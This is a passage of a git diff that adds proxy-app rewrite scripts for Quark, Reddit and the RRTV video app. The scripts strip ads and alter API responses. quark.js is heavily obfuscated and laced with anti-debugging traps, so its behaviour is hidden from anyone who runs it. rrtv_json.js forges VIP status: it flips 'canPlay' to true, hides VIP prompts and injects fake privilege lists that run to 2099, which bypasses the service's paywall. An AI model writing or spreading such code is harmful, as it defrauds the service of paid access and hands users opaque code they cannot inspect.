\u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/Scripts/quark.js b/Scripts/quark.js new file mode 100644 index 00000000..1424e947 --- /dev/null +++ b/Scripts/quark.js @@ -0,0 +1 @@ +var version_='jsjiami.com.v7';var _0x412946=_0xd235;(function(_0x1e6c3f,_0x1ff154,_0x15328a,_0x1d3fed,_0x33d093,_0x21ad39,_0xd358b){return _0x1e6c3f=_0x1e6c3f>>0x4,_0x21ad39='hs',_0xd358b='hs',function(_0x4ad759,_0x4be1a3,_0xa0871e,_0x5d549c,_0x1faed9){var _0x39032c=_0xd235;_0x5d549c='tfi',_0x21ad39=_0x5d549c+_0x21ad39,_0x1faed9='up',_0xd358b+=_0x1faed9,_0x21ad39=_0xa0871e(_0x21ad39),_0xd358b=_0xa0871e(_0xd358b),_0xa0871e=0x0;var _0x28002c=_0x4ad759();while(!![]&&--_0x1d3fed+_0x4be1a3){try{_0x5d549c=-parseInt(_0x39032c(0x1aa,'YMkj'))/0x1+-parseInt(_0x39032c(0x19c,'#)mD'))/0x2+-parseInt(_0x39032c(0x1b9,'8!ZH'))/0x3*(parseInt(_0x39032c(0x1db,'l)%1'))/0x4)+-parseInt(_0x39032c(0x175,']89@'))/0x5*(-parseInt(_0x39032c(0x1d1,'2[Ac'))/0x6)+parseInt(_0x39032c(0x18e,'8!ZH'))/0x7+-parseInt(_0x39032c(0x1b6,'vViI'))/0x8*(parseInt(_0x39032c(0x1bf,'J8iM'))/0x9)+parseInt(_0x39032c(0x180,'t9W!'))/0xa;}catch(_0x405dab){_0x5d549c=_0xa0871e;}finally{_0x1faed9=_0x28002c[_0x21ad39]();if(_0x1e6c3f<=_0x1d3fed)_0xa0871e?_0x33d093?_0x5d549c=_0x1faed9:_0x33d093=_0x1faed9:_0xa0871e=_0x1faed9;else{if(_0xa0871e==_0x33d093['replace'](/[YrxdfWVUFDyBIuHbKLhX=]/g,'')){if(_0x5d549c===_0x4be1a3){_0x28002c['un'+_0x21ad39](_0x1faed9);break;}_0x28002c[_0xd358b](_0x1faed9);}}}}}(_0x15328a,_0x1ff154,function(_0xe541ea,_0x194479,_0x37c1d2,_0x314e54,_0x4e79dc,_0x4d0927,_0x183b22){return _0x194479='\x73\x70\x6c\x69\x74',_0xe541ea=arguments[0x0],_0xe541ea=_0xe541ea[_0x194479](''),_0x37c1d2=`\x72\x65\x76\x65\x72\x73\x65`,_0xe541ea=_0xe541ea[_0x37c1d2]('\x76'),_0x314e54=`\x6a\x6f\x69\x6e`,(0x12823c,_0xe541ea[_0x314e54](''));});}(0xc10,0x73cc9,_0x582a,0xc3),_0x582a)&&(version_=_0x582a);(function(){var _0x444e62=_0xd235,_0x56675b={'RwhUB':function(_0x591197,_0x5c04eb){return _0x591197!==_0x5c04eb;},'jrrBm':function(_0x52de88,_0x2a0fea){return _0x52de88===_0x2a0fea;},'IYPUM':_0x444e62(0x1bb,'FS2M'),'ZpSWE':_0x444e62(0x183,'l)%1'),'mlSrt':function(_0x4f9b8f,_0x447348){return _0x4f9b8f===_0x447348;}},_0x4be2a6=_0x56675b[_0x444e62(0x185,'Q!qj')](typeof window,_0x444e62(0x1b0,'2Rbe'))?window:_0x56675b[_0x444e62(0x17c,'Bm[$')](typeof process,_0x56675b['IYPUM'])&&typeof require===_0x56675b[_0x444e62(0x17b,'ENXP')]&&_0x56675b[_0x444e62(0x1ca,'ST6i')](typeof global,_0x56675b[_0x444e62(0x16d,'*KK6')])?global:this;_0x4be2a6['setInterval'](_0x54e194,0x7d0);}());function _0xd235(_0x881cfd,_0x31c139){var _0x52bf78=_0x582a();return _0xd235=function(_0x24e5b1,_0x16a5e2){_0x24e5b1=_0x24e5b1-0x16a;var _0xb8c7de=_0x52bf78[_0x24e5b1];if(_0xd235['pTCaYN']===undefined){var _0x54e194=function(_0x54d668){var _0x42dd97='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x3a2582='',_0x3eb3bd='';for(var _0x31ec84=0x0,_0x2560e4,_0xa95f06,_0x4cf6be=0x0;_0xa95f06=_0x54d668['charAt'](_0x4cf6be++);~_0xa95f06&&(_0x2560e4=_0x31ec84%0x4?_0x2560e4*0x40+_0xa95f06:_0xa95f06,_0x31ec84++%0x4)?_0x3a2582+=String['fromCharCode'](0xff&_0x2560e4>>(-0x2*_0x31ec84&0x6)):0x0){_0xa95f06=_0x42dd97['indexOf'](_0xa95f06);}for(var _0x3234b8=0x0,_0x2746b8=_0x3a2582['length'];_0x3234b8<_0x2746b8;_0x3234b8++){_0x3eb3bd+='%'+('00'+_0x3a2582['charCodeAt'](_0x3234b8)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3eb3bd);};var _0xd235ef=function(_0x2653c6,_0x559a20){var _0x4463d7=[],_0x1ab425=0x0,_0x3a076c,_0x4180ba='';_0x2653c6=_0x54e194(_0x2653c6);var _0x5b0acc;for(_0x5b0acc=0x0;_0x5b0acc<0x100;_0x5b0acc++){_0x4463d7[_0x5b0acc]=_0x5b0acc;}for(_0x5b0acc=0x0;_0x5b0acc<0x100;_0x5b0acc++){_0x1ab425=(_0x1ab425+_0x4463d7[_0x5b0acc]+_0x559a20['charCodeAt'](_0x5b0acc%_0x559a20['length']))%0x100,_0x3a076c=_0x4463d7[_0x5b0acc],_0x4463d7[_0x5b0acc]=_0x4463d7[_0x1ab425],_0x4463d7[_0x1ab425]=_0x3a076c;}_0x5b0acc=0x0,_0x1ab425=0x0;for(var _0x2085e7=0x0;_0x2085e7<_0x2653c6['length'];_0x2085e7++){_0x5b0acc=(_0x5b0acc+0x1)%0x100,_0x1ab425=(_0x1ab425+_0x4463d7[_0x5b0acc])%0x100,_0x3a076c=_0x4463d7[_0x5b0acc],_0x4463d7[_0x5b0acc]=_0x4463d7[_0x1ab425],_0x4463d7[_0x1ab425]=_0x3a076c,_0x4180ba+=String['fromCharCode'](_0x2653c6['charCodeAt'](_0x2085e7)^_0x4463d7[(_0x4463d7[_0x5b0acc]+_0x4463d7[_0x1ab425])%0x100]);}return _0x4180ba;};_0xd235['MRVxhq']=_0xd235ef,_0x881cfd=arguments,_0xd235['pTCaYN']=!![];}var _0x1e7890=_0x52bf78[0x0],_0x2da6d7=_0x24e5b1+_0x1e7890,_0x582a8f=_0x881cfd[_0x2da6d7];return!_0x582a8f?(_0xd235['cKenCw']===undefined&&(_0xd235['cKenCw']=!![]),_0xb8c7de=_0xd235['MRVxhq'](_0xb8c7de,_0x16a5e2),_0x881cfd[_0x2da6d7]=_0xb8c7de):_0xb8c7de=_0x582a8f,_0xb8c7de;},_0xd235(_0x881cfd,_0x31c139);}var _0x1e7890=(function(){var _0x3a5e73={'sarsz':function(_0x23875d,_0x36e8a8){return _0x23875d!==_0x36e8a8;},'vtLPT':'cGCJn'},_0x283469=!![];return function(_0x1e081b,_0x4c38df){var _0x8a912c=_0xd235;if(_0x3a5e73[_0x8a912c(0x1ba,'vnO)')]('cGCJn',_0x3a5e73[_0x8a912c(0x1d9,'v7R8')]))_0x142377[_0x8a912c(0x186,'l)%1')](_0x8a912c(0x1ab,'S@V6'))&&delete _0x12b5d2[_0x8a912c(0x1a0,'l)%1')][_0x51d64d];else{var _0x1c80af=_0x283469?function(){var _0x1fec6b=_0x8a912c;if(_0x4c38df){var _0x4e74ec=_0x4c38df[_0x1fec6b(0x1cc,'zXvO')](_0x1e081b,arguments);return _0x4c38df=null,_0x4e74ec;}}:function(){};return _0x283469=![],_0x1c80af;}};}());(function(){var _0x3c329e=_0xd235,_0x5db9bc={'fcGSY':function(_0x1dee61,_0x58ac6d){return _0x1dee61(_0x58ac6d);},'DzeBa':'DipIl','KKMhI':_0x3c329e(0x16f,'%%*F'),'mQqFh':function(_0x5d39ee,_0x324e2a){return _0x5d39ee(_0x324e2a);},'mVEkh':_0x3c329e(0x1ce,'2Rbe'),'irZDF':function(_0x4f2be6,_0x2aca1d){return _0x4f2be6+_0x2aca1d;},'KwKxw':'chain','cWvRF':'input','dcIRK':function(_0x295552,_0x2875af){return _0x295552===_0x2875af;},'iAOhW':'AbSeu','pvOzY':function(_0x5abd7f){return _0x5abd7f();},'TsXVT':function(_0x3522eb,_0x3b7f60,_0x27bcef){return _0x3522eb(_0x3b7f60,_0x27bcef);}};_0x5db9bc[_0x3c329e(0x1d5,'9*mh')](_0x1e7890,this,function(){var _0x5da4be=_0x3c329e;if(_0x5da4be(0x19e,'vnO)')===_0x5db9bc[_0x5da4be(0x1be,'z8Qg')])_0x5db9bc[_0x5da4be(0x1a1,'!Ue2')](_0x45b28d,'0');else{var _0x16d056=new RegExp(_0x5db9bc[_0x5da4be(0x181,'&i&*')]),_0xc42230=new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0x301c33=_0x5db9bc[_0x5da4be(0x1a6,'8!ZH')](_0x54e194,_0x5db9bc[_0x5da4be(0x17f,'vViI')]);if(!_0x16d056[_0x5da4be(0x1c7,'t9W!')](_0x5db9bc[_0x5da4be(0x196,'8UA]')](_0x301c33,_0x5db9bc[_0x5da4be(0x18b,'ST6i')]))||!_0xc42230[_0x5da4be(0x199,'82DE')](_0x5db9bc['irZDF'](_0x301c33,_0x5db9bc[_0x5da4be(0x18c,'vViI')])))_0x301c33('0');else{if(_0x5db9bc['dcIRK'](_0x5da4be(0x16e,'ST6i'),_0x5db9bc[_0x5da4be(0x1cb,'vBfx')]))_0x5db9bc[_0x5da4be(0x172,'h8[n')](_0x54e194);else return _0x103ebd;}}})();}());var _0x16a5e2=(function(){var _0x123e18=_0xd235,_0x5a7f23={'AxlNj':function(_0x339d6c,_0x4e41e9){return _0x339d6c===_0x4e41e9;},'URQrD':_0x123e18(0x177,'8!ZH')},_0x8a2e69=!![];return function(_0x3e07c3,_0x4b7558){var _0x1332b0=_0x123e18;if(_0x5a7f23['AxlNj'](_0x1332b0(0x1c5,'J8iM'),_0x5a7f23['URQrD'])){var _0x198acc=_0x8a2e69?function(){if(_0x4b7558){var _0x2b4f70=_0x4b7558['apply'](_0x3e07c3,arguments);return _0x4b7558=null,_0x2b4f70;}}:function(){};return _0x8a2e69=![],_0x198acc;}else{var _0xb80552=_0x5091ac[_0x1332b0(0x1dd,'Q!qj')][_0x1332b0(0x17a,']A(A')][_0x1332b0(0x1d7,'t9W!')](_0x56c89b),_0x78627b=_0x57bf40[_0xfd733b],_0x541ffd=_0x49ffbd[_0x78627b]||_0xb80552;_0xb80552['__proto__']=_0x4e2a13[_0x1332b0(0x192,'YE(U')](_0x1eddda),_0xb80552[_0x1332b0(0x1b7,'BH9%')]=_0x541ffd[_0x1332b0(0x1c4,'2Rbe')]['bind'](_0x541ffd),_0x365299[_0x78627b]=_0xb80552;}};}()),_0x24e5b1=_0x16a5e2(this,function(){var _0x3afcaa=_0xd235,_0x52e42e={'gErEB':function(_0x22c3fb,_0x2b53d2){return _0x22c3fb!==_0x2b53d2;},'djawc':_0x3afcaa(0x1d8,'t9W!'),'ODtDl':function(_0x273e5e,_0x4e666){return _0x273e5e===_0x4e666;},'MisHc':_0x3afcaa(0x176,'73eR'),'XzCSm':'function','aVBIv':'warn','HWZII':'info','etxwP':'error','Vsbgt':_0x3afcaa(0x17d,'YE(U'),'xnWTt':function(_0x881937,_0x29f862){return _0x881937<_0x29f862;},'QmSNK':_0x3afcaa(0x17e,'bAeV'),'noJZp':_0x3afcaa(0x1d6,'8UA]')},_0x5ec74e=_0x52e42e[_0x3afcaa(0x1c3,']A(A')](typeof window,_0x52e42e[_0x3afcaa(0x1c8,'MpNU')])?window:_0x52e42e[_0x3afcaa(0x1d2,'vViI')](typeof process,_0x52e42e[_0x3afcaa(0x1c0,'z8Qg')])&&_0x52e42e['ODtDl'](typeof require,_0x52e42e['XzCSm'])&&_0x52e42e['ODtDl'](typeof global,_0x52e42e[_0x3afcaa(0x1af,'WSdb')])?global:this,_0x1fea28=_0x5ec74e[_0x3afcaa(0x190,'FS2M')]=_0x5ec74e['console']||{},_0x36561c=[_0x3afcaa(0x1c2,'2Rbe'),_0x52e42e[_0x3afcaa(0x195,'ENXP')],_0x52e42e[_0x3afcaa(0x1c6,'bAeV')],_0x52e42e[_0x3afcaa(0x1a3,']A(A')],'exception','table',_0x52e42e[_0x3afcaa(0x189,'h8[n')]];for(var _0x558777=0x0;_0x52e42e['xnWTt'](_0x558777,_0x36561c[_0x3afcaa(0x174,'Zu]^')]);_0x558777++){if(_0x52e42e[_0x3afcaa(0x1b8,'YMkj')]!==_0x3afcaa(0x18a,'l)%1')){var _0x269024=_0x2e0748[_0x3afcaa(0x1dc,'&i&*')](_0x5216fa,arguments);return _0x4c6ecd=null,_0x269024;}else{var _0x514426=_0x52e42e['noJZp'][_0x3afcaa(0x1ac,'*KK6')]('|'),_0x3ea11e=0x0;while(!![]){switch(_0x514426[_0x3ea11e++]){case'0':_0x41ca77[_0x3afcaa(0x1ae,'%%*F')]=_0x164b99[_0x3afcaa(0x173,'o6Oe')][_0x3afcaa(0x1d7,'t9W!')](_0x164b99);continue;case'1':var _0x164b99=_0x1fea28[_0x505332]||_0x41ca77;continue;case'2':_0x41ca77[_0x3afcaa(0x1da,'QSZQ')]=_0x16a5e2[_0x3afcaa(0x193,'8UA]')](_0x16a5e2);continue;case'3':var _0x505332=_0x36561c[_0x558777];continue;case'4':_0x1fea28[_0x505332]=_0x41ca77;continue;case'5':var _0x41ca77=_0x16a5e2[_0x3afcaa(0x184,'Bm[$')][_0x3afcaa(0x1cf,'v7R8')][_0x3afcaa(0x1a9,'bAeV')](_0x16a5e2);continue;}break;}}}});_0x24e5b1();var obj=JSON[_0x412946(0x1b1,'82DE')]($response[_0x412946(0x1ad,'SJDy')]),keysToDelete=['cms_'];for(var key in obj['result']){key['includes'](_0x412946(0x1d0,'8UA]'))&&delete obj[_0x412946(0x1a5,'!Ue2')][key];}$done({'body':JSON[_0x412946(0x19b,')&Gu')](obj)});function _0x582a(){var _0x25b956=(function(){return[...[version_,'hjVsVFjKriUaVmuid.cyformuY.IDHv7LBWxLXbU==','aIhcG8o3W5BcP8oGW5i','D2/cQSkOW549','WORcSH/cKrhdMHHRW4bc','WOaWWRRcN8kDla','W6dcImkqW5hcVW','bmodWRqGWQS','WQVcRmo0EqpcU0ddTKNdTq','dY1OpCkCyeNcPCov','zSkRW6W8sW','W6JdSCoJWQrD','W7HfugNdSW','WO5lDCkiW6S','ECoNWR4fvq','vZPBf8oqdfpcPrzXlXei','WPpcMCohWOTs','W7WIW50hfa','vSk8q8ofoSobaHW','W6hdRmo/WPveW6CAWOf7WRT6','WPP2WR0PW7W','wCkNtSoko8omcae','W7K6W5ydWOzaWRTx','W7tdUSkumaG','bCkToH82','D8kOx8oJiq','j8o3WPy0WOW','D8oMWO08EW','WQfNWPexW5a3WO1HWPi','WPFdU8oQWRddOaJdUSoMWQRdUSowx1y','W7hdNCkbbae','W5lcSa/cPmodW7hcKq','zSobWROhCq','W65Ex24','nmkqW60q','WQNcPSo0EK3dRqFdTKNdGGGFdq','xCknW70IEa','p8klW5KWW74','zMRdGu5p','W6SGW63cVwST'],...(function(){return[...['W7aNW7tcRa','WQKLiarzWP0','WQD9WOCBW5G5WOPIWO8','tdDuW5xcIqNdSHjgW4/cHCkH','hghdRHWiW794u8oMW6Hb','oSoOW69YWPK','bsGDxci','qSkSxSotiSoC','W51mW5fWBa','W6rvqe3dMW','gIT/pSkJ','hwhdQsakW78','W4LkW6vwwCkP','W47cNSkPW4FcUq','EmouWPujsqe','hmkwW5ODW7K','WQTdACkP','W5RdNmklprCtW4PaW6xdQCo+','WP3dTGZdVq','W6LTdmkWkq','nqiZFq','jSoDW4j9WPqYrGe','nW9sWRpdRW','tgNdP8kYWOJcRLpdUmog','W7qJW7xcQ20','oSoqW4DTWQW','pWVcIXC0Fq3cLI7cJdW','cSoVWOHzomo4WQ07lwpdKGxdTa','WRJcKmogrNy','jCkhWRqVzcZcNrm','BvZdVCkvDCkxWP7dVW','WR/cHCoGr28','WPdcMSk0W6ZcLvZcGW','pCoWW4vhWPm','W57cVqVcSSopW6K','vMldVSksyG','mXBcLCopW54','hxn6mCoc','x8ohWOHXomkrq8kiWPy4FmoyWRK','fgbSo8oa'],...(function(){return['WRv0W4JcMveCWOxcHG','vwJdPa','gbP1dmkX','twJdKmkJWPZcRLpdUG','lCkYW7msya','WOf9xCkeW40','fwSFuq','W40gW5OBjW','ncj5WRBdIW','aCoSWO4+WO8','WROBlCo2W44','gSkpo8olia','haJcK8oOW6a','ugNdQSkJ','WPddVrpdK8owWONcLKtdIa','nCkuW7aR','zWFdVwRcImoxlZHFWPe','w8o1WO8Quq','W5RdSCkxbq8','W7bxlSkUhW','WO4IcJTJ','y8kfWRaiWOLJWOVcV8o+WOqP','a2Ccqq','fgaiqmkavG3cTre','WPBdUZddT8oT','mfVdQICjW79YFSop','aSo5gCkxEmkrwZThWO/cHCogW5a','WRNcOSo6WO9I','WQTUWRSpW4RdKJ3cSSkAc8kZ','WRuZoaHuWO4','oq/cHXiXbuRcTWZcTrBcH8ka','WQa5WQhcNCkK','W5nemmkmea','lCoIWO4PWO4','nmohW79QWPiYrWH6swZcQ8kaqXhdJq','w2pdImkPta','gmoDW4HGWQC','i8kOfWiB'];}())];}())];}());_0x582a=function(){return _0x25b956;};return _0x582a();};function _0x54e194(_0x9dc76a){var _0x40e4d9=_0x412946,_0x26a7d5={'BPfHK':function(_0x20e04c,_0x11dfcf){return _0x20e04c!==_0x11dfcf;},'rpAiL':_0x40e4d9(0x18d,')&Gu'),'NDXMG':_0x40e4d9(0x198,'82DE'),'mUrmH':function(_0x3785a4,_0x25c10f){return _0x3785a4===_0x25c10f;},'REJXy':_0x40e4d9(0x187,'k@#N'),'JoYiA':'SciMV','lnSys':function(_0x2aed22,_0x1e988c){return _0x2aed22===_0x1e988c;},'jJNwB':_0x40e4d9(0x19a,'9*mh'),'BePLt':_0x40e4d9(0x1b5,'YMkj'),'ARgcH':_0x40e4d9(0x1b2,'vnO)'),'tOvaO':function(_0x41acf3){return _0x41acf3();},'jFCkD':function(_0xf5d16c,_0x4c4c9d){return _0xf5d16c!==_0x4c4c9d;},'OQPse':_0x40e4d9(0x1a7,'vViI'),'yPyqO':function(_0x4d9aeb,_0x258259){return _0x4d9aeb===_0x258259;},'hbqGM':function(_0x1ed077,_0x4e3183){return _0x1ed077%_0x4e3183;},'OkqgZ':_0x40e4d9(0x178,'ST6i'),'UNfkP':function(_0x5d6e3d){return _0x5d6e3d();},'wykWH':_0x40e4d9(0x1bd,'o6Oe'),'iIFMz':function(_0x131a06,_0x515f7a){return _0x131a06(_0x515f7a);}};function _0x51f4af(_0x33a57b){var _0x10b0c8=_0x40e4d9;if(_0x26a7d5['mUrmH'](_0x26a7d5[_0x10b0c8(0x1a8,'8UA]')],_0x26a7d5[_0x10b0c8(0x171,'%%*F')])){if(_0x26a7d5[_0x10b0c8(0x188,'w)ba')](typeof _0x33a57b,_0x26a7d5[_0x10b0c8(0x1d4,'*KK6')])){if(_0x26a7d5[_0x10b0c8(0x1d3,'w)ba')]===_0x26a7d5['ARgcH']){var _0xd39cfe=_0x26a7d5['BPfHK'](typeof _0x1ab425,_0x26a7d5[_0x10b0c8(0x191,'vViI')])?_0x3a076c:typeof _0x4180ba===_0x26a7d5[_0x10b0c8(0x1c9,'WSdb')]&&_0x26a7d5['mUrmH'](typeof _0x5b0acc,_0x26a7d5[_0x10b0c8(0x19f,'SJDy')])&&_0x26a7d5[_0x10b0c8(0x197,'gYJS')](typeof _0x2085e7,_0x10b0c8(0x16a,'9*mh'))?_0xa1fac8:this;_0xd39cfe[_0x10b0c8(0x19d,'QSZQ')](_0x54b52b,0x7d0);}else{var _0x56233d=function(){while(!![]){}};return _0x26a7d5['tOvaO'](_0x56233d);}}else{if(_0x26a7d5['jFCkD']((''+_0x33a57b/_0x33a57b)[_0x26a7d5[_0x10b0c8(0x1bc,'BH9%')]],0x1)||_0x26a7d5['yPyqO'](_0x26a7d5[_0x10b0c8(0x1a2,'YE(U')](_0x33a57b,0x14),0x0)){if(_0x26a7d5[_0x10b0c8(0x1cd,'o6Oe')](_0x26a7d5['OkqgZ'],_0x26a7d5[_0x10b0c8(0x16c,'73eR')])){if(_0x39102f)return _0x44b0f9;else _0x4ce086(0x0);}else debugger;}else debugger;}_0x51f4af(++_0x33a57b);}else delete _0x1123e1[_0x10b0c8(0x1a4,'QSZQ')][_0x8e692a];}try{if(_0x26a7d5[_0x40e4d9(0x170,'BH9%')]('EXELz',_0x26a7d5['wykWH'])){var _0x1a45ca=function(){while(!![]){}};return _0x26a7d5[_0x40e4d9(0x182,'MpNU')](_0x1a45ca);}else{if(_0x9dc76a)return _0x51f4af;else _0x26a7d5[_0x40e4d9(0x18f,'w)ba')](_0x51f4af,0x0);}}catch(_0x55791a){}}var version_ = 'jsjiami.com.v7'; diff --git a/Scripts/reddit.js b/Scripts/reddit.js new file mode 100644 index 00000000..7f0a137e --- /dev/null +++ b/Scripts/reddit.js @@ -0,0 +1,29 @@ +/** + * @author fmz200 + * @function Reddit过滤推广,关NSFW提示 + * @date 2024-01-2 17:01:00 + * @quote xream + */ + +let body; +try { + body = JSON.parse($response.body.replace(/"isNsfw":true/g, '"isNsfw":false')) + if (body.data?.children?.commentsPageAds) { + body.data.children.commentsPageAds = [] + } + for (const [k, v] of Object.entries(body.data)) { + if (v?.elements?.edges) { + body.data[k].elements.edges = v.elements.edges.filter( + i => + !['AdPost'].includes(i?.node?.__typename) && + !i?.node?.cells?.some(j => j?.__typename === 'AdMetadataCell') && + !i?.node?.adPayload + ); + } + } + +} catch (e) { + console.log(e); +} finally { + $done(body ? {body: JSON.stringify(body)} : {}); +} \ No newline at end of file diff --git a/Scripts/rrtv_json.js b/Scripts/rrtv_json.js new file mode 100644 index 00000000..afb19951 --- /dev/null +++ b/Scripts/rrtv_json.js @@ -0,0 +1,340 @@ + +const scriptName = "RRTV"; +const magicJS = new MagicJS(scriptName, "INFO"); +const rrtv_tab_home = /.*\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_INDEX/; +const rrtv_tab_my = /.*\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_MY/; +const rrtv_tab_cfg = /.*\/app\/config\/h5NativeBar/; +const rrtv_drama_detail = /.*\/drama\/detail\?/; +const rrtv_user_info = /.*\/user\/personal/; +const rrtv_level = /.*\/level\/info/; +const rrtv_ad_getall = /.*\/ad\/getAll/; +const rrtv_watch_v4 = /.*\/watch\/v4/; + +(() => { + let body = null; + if (magicJS.isResponse) { + switch (true) { + //首页去广告 + case rrtv_tab_home.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + //delete obj.data.bannerTop; + for (i = 0; i < obj.data.sections.length; i++) { + if (obj.data.sections[i].sectionType === "AD" || + obj.data.sections[i].sectionType === "SINGLE_IMAGE" || + obj.data.sections[i].sectionType === "SHORT_VIDEO") { + delete obj.data.sections[i]; + } + } + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`首页去广告出现异常:${err}`); + } + break; + //去除广场 + case rrtv_tab_cfg.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + obj['data']['homeBarPage'] = [{ + "darkSelPag": "http://img.rr.tv/barSelpag/20210310/o_1615343956536.pag", + "selPag": "http://img.rr.tv/barSelpag/20210310/o_1615343961034.pag", + "pageType": 0, + "darkUnselImg": "http://img.rr.tv/cover/20210310/o_1615343982560.png", + "webUrl": "", + "selImg": "http://img.rr.tv/cover/20210310/o_1615343977931.png", + "unselImg": "http://img.rr.tv/cover/20210310/o_1615343979417.png", + "name": "首页", + "index": 1, + "nativeAlias": "home", + "darkSelImg": "http://img.rr.tv/cover/20210310/o_1615343985261.png" + }, { + "darkSelPag": "http://img.rr.tv/barSelpag/20210310/o_1615344101664.pag", + "selPag": "http://img.rr.tv/barSelpag/20210310/o_1615344101761.pag", + "pageType": 0, + "darkUnselImg": "http://img.rr.tv/cover/20210310/o_1615344088886.png", + "webUrl": "", + "selImg": "http://img.rr.tv/cover/20210310/o_1615344085709.png", + "unselImg": "http://img.rr.tv/cover/20210310/o_1615344087390.png", + "name": "快看", + "index": 2, + "nativeAlias": "amwayVideo", + "darkSelImg": "http://img.rr.tv/cover/20210310/o_1615344091229.png" + }, { + "darkSelPag": "http://img.rr.tv/barSelpag/20210310/o_1615344145409.pag", + "selPag": "http://img.rr.tv/barSelpag/20210310/o_1615344143099.pag", + "pageType": 0, + "darkUnselImg": "http://img.rr.tv/img/img/20211013/o_ca5e3b6ce6b747e992789e55222445f2.png", + "webUrl": "", + "selImg": "http://img.rr.tv/img/img/20211013/o_14667f24618841a1906fbb2233b8869a.png", + "unselImg": "http://img.rr.tv/img/img/20211013/o_963933dfc49b4c8bab6e3b36a8a2b42b.png", + "name": "VIP", + "index": 3, + "nativeAlias": "vip", + "darkSelImg": "http://img.rr.tv/img/img/20211013/o_ad54fb0336764d38910304488804f2a1.png" + }, { + "darkSelPag": "http://img.rr.tv/barSelpag/20210310/o_1615344154522.pag", + "selPag": "http://img.rr.tv/barSelpag/20210310/o_1615344153652.pag", + "pageType": 0, + "darkUnselImg": "http://img.rr.tv/img/img/20211013/o_e35b6941e4a0429486cd5b535337544f.png", + "webUrl": "", + "selImg": "http://img.rr.tv/img/img/20211013/o_2e5efef7fd654e3ea8a60e3e719e6e8c.png", + "unselImg": "http://img.rr.tv/img/img/20211013/o_7492019b1603486383733b7154e967b3.png", + "name": "我的", + "index": 4, + "nativeAlias": "my", + "darkSelImg": "http://img.rr.tv/img/img/20211013/o_f98a74489e3d4dc9bf8651eea65b949e.png" + }]; + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`广场去广告出现异常:${err}`); + } + break; + //去除商城广告 + case rrtv_tab_my.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + obj['data']['sections'] = [{ + "id": 2541, + "sectionType": "MAGIC_CUBE", + "displayTitle": "1", + "startTime": null, + "position": 23, + "display": "SCROLL", + "moreText": "", + "sectionContents": [{ + "feeMode": null, + "pictureHeight": null, + "targetId": "rrspjump://webview?url=http%3A%2F%2Fmobile.rr.tv%2FappWeb%2F%23%2FbugList", + "id": 34, + "pictureWidth": null, + "title": "帮助反馈", + "targetType": "H5", + "sectionId": 2541, + "orderNum": 1, + "subTitle": null, + "icon": "http://img.rr.tv/cover/20210201/o_1612169512400.png" + }, { + "feeMode": null, + "pictureHeight": null, + "targetId": "rrspjump://webview?url=http%3A%2F%2Fmobile.rr.tv%2Fmission%2F%23%2Fachievement%2Fcenter", + "id": 35, + "pictureWidth": null, + "title": "成就中心", + "targetType": "H5", + "sectionId": 2541, + "orderNum": 2, + "subTitle": null, + "icon": "http://img.rr.tv/cover/20210201/o_1612169790308.png" + },], + "endTime": null, + "targetType": null, + "sequence": 3, + "name": "其他", + "targetId": "rrspjump://empty" + }]; + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`商城去广告出现异常:${err}`); + } + break; + //rrtv_ad_getall + case rrtv_ad_getall.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + obj.data.adList = []; + body = JSON.stringify(obj); + } catch (err) { + magicJS.logError(`ad_getall去广告出现异常:${err}`); + } + break; + //rrtv_drama + case rrtv_drama_detail.test(magicJS.request.url): + try { + body = magicJS.response.body.replace(/currentQuality":"\w+/g, 'currentQuality":"AI_OD').replace(/canPlay":false/g, 'canPlay":true').replace(/canShowVip":true/g, 'canShowVip":false').replace(/externalAds":true/g, 'externalAds":false'); + } catch (err) { + magicJS.logError(`drama去广告出现异常:${err}`); + } + break; + //rrtv_watch_4 + case rrtv_watch_v4.test(magicJS.request.url): + try { + body = magicJS.response.body.replace(/currentQuality":"\w+/g, 'currentQuality":"AI_OD').replace(/canPlay":false/g, 'canPlay":true').replace(/canShowVip":true/g, 'canShowVip":false').replace(/externalAds":true/g, 'externalAds":false'); + } catch (err) { + magicJS.logError(`watch_4去广告出现异常:${err}`); + } + break; + //rrtv_pro + case rrtv_user_info.test(magicJS.request.url): + try { + let obj = JSON.parse(magicJS.response.body); + obj.data.user.medalList = [{ + "name": "大魔王", + "endTime": "2099-02-22 02:44:53", + "imgUrl": "http://img.rr.tv/cover/20200424/o_1587720799676.png", + "id": 1 + }]; + obj.data.user.privilegeList = [{ + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "video", + "action": "play", + "function": "originalPainting", + "func": "originalPainting", + "description": "解锁原画", + "icon": "jiesuoyuanhua", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "mall", + "action": "sale", + "function": "mallDiscount", + "func": "mallDiscount", + "description": "龙醇商城九折", + "icon": "longchunshangcheng", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "article", + "action": "write", + "function": "highLight", + "func": "highLight", + "description": "高亮发帖", + "icon": "gaoliangfatie", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "nickName", + "action": "show", + "function": "nameHighLight", + "func": "nameHighLight", + "description": "高亮昵称", + "icon": "gaoliangnicheng", + "endTime": 9999987654321 + }, { + "id": null, + "createTimeStr": "", + "createTime": null, + "updateTime": null, + "effectObject": "comment", + "action": "write", + "function": 